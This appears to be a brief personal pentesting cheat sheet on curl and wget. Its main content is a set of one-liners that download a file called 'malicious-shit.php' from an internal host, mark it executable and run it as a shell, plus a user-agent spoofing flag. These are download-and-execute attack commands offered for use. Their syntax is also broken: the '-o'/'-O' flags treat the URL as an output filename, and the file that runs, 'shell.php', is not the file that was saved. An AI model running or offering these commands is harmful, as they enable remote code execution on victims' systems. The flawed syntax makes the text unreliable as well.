curl-wget

CURL-WGET curl -o http://192.168.x.x/malicious-shit.php

you can also pipe in commands too such as

curl -o http://192.168.x.x/malicious-shit.php ; chmod +x shell.php ; ./shell.php

User agent change

curl -A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"

wget -O http://192.168.x.x/malicious-shit.php

you can also pipe in commands too such as

wget -O http://192.168.x.x/malicious-shit.php ; chmod +x shell.php ; ./shell.php